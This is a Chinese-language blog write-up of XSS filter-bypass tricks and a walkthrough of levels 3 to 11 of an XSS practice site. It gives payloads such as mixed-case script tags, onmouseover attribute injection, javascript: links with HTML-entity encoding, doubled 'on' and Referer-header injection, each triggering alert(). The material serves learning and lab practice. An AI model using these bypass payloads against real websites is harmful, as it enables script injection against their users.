XSS 跨站脚本

xss常用绕过姿势

  • 大小写绕过

利用语句:

http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>

  • 并不是只有script标签才可以插入代码

以下列举几个常用的可插入代码的标签。

<a onmousemove=’do something here’> 

当用户鼠标移动时即可运行代码

<div onmouseover=‘do something here’> 
  • 编码脚本代码绕过关键字过滤

alert(1)编码过后就是

\u0061\u006c\u0065\u0072\u0074(1)
  • 主动闭合标签实现注入代码
  • 利用%0d、%0a(回车换行)代替空格

xss.tesla-space.com

level 3

xss_1

xss_2

尝试使用" onmouseover="alert(1)

发现没有达到预测效果,猜测存在过滤。

xss_3

使用单引号尝试

payload:' onmouseover='alert()

xss_4

成功绕过

xss_5

level 5

xss_6

使用payload=" onmouseover="alert()

xss_7

发现on中间加了下划线

使用payload="><script>alert(1)</script>

xss_8

发现ri中间也加了下划线

尝试大小写等无法绕过

就想到利用javascript伪协议 "><a href=javascript:alert(1)>xss</a>

成功绕过

level 6

使用上一题的payload,发现href变成了hr_ef

使用大小写,发现成功绕过

"><a hRef=javascript:alert(/xss/)>xss</a>R

level 7

使用payload=" onmouseover="alert()

结果为:<input name="keyword" value="" mouseover="alert()">

尝试双写on绕过,成功

level 8

采用javascript伪协议,可是被过滤

xss_9.

使用大写无法绕过,使用字符实体对t进行编码

十进制实体编码:javascrip&#116;:alert(/xss/)
十六进制实体编码:javascrip&#x74;:alert(/xss/)

成功绕过

level 9

尝试使用上一关的payload,发现提示链接不合法,经过多次尝试,发现链接需要包含http://

使用payload=javascrip&#116;:alert(/xss/)//http://

成功绕过

level 10

该题的url为:https://xss.tesla-space.com/level10.php?keyword=hahaha

xss_10

发现没有可利用的部分。

查看源代码

xss_11

下面有三个输入处被隐藏

一个一个进行尝试

payload:?t_link=" onmouseover="alert(1)"type="text

试到第三个,发现起作用。

得到结果

level 11

xss_12

与上一个题类似,但经过尝试,无法构造t_ref参数

最后发现是构造http头Referer

xss_13

得到结果

猜你喜欢

转载自www.cnblogs.com/chalan630/p/12535260.html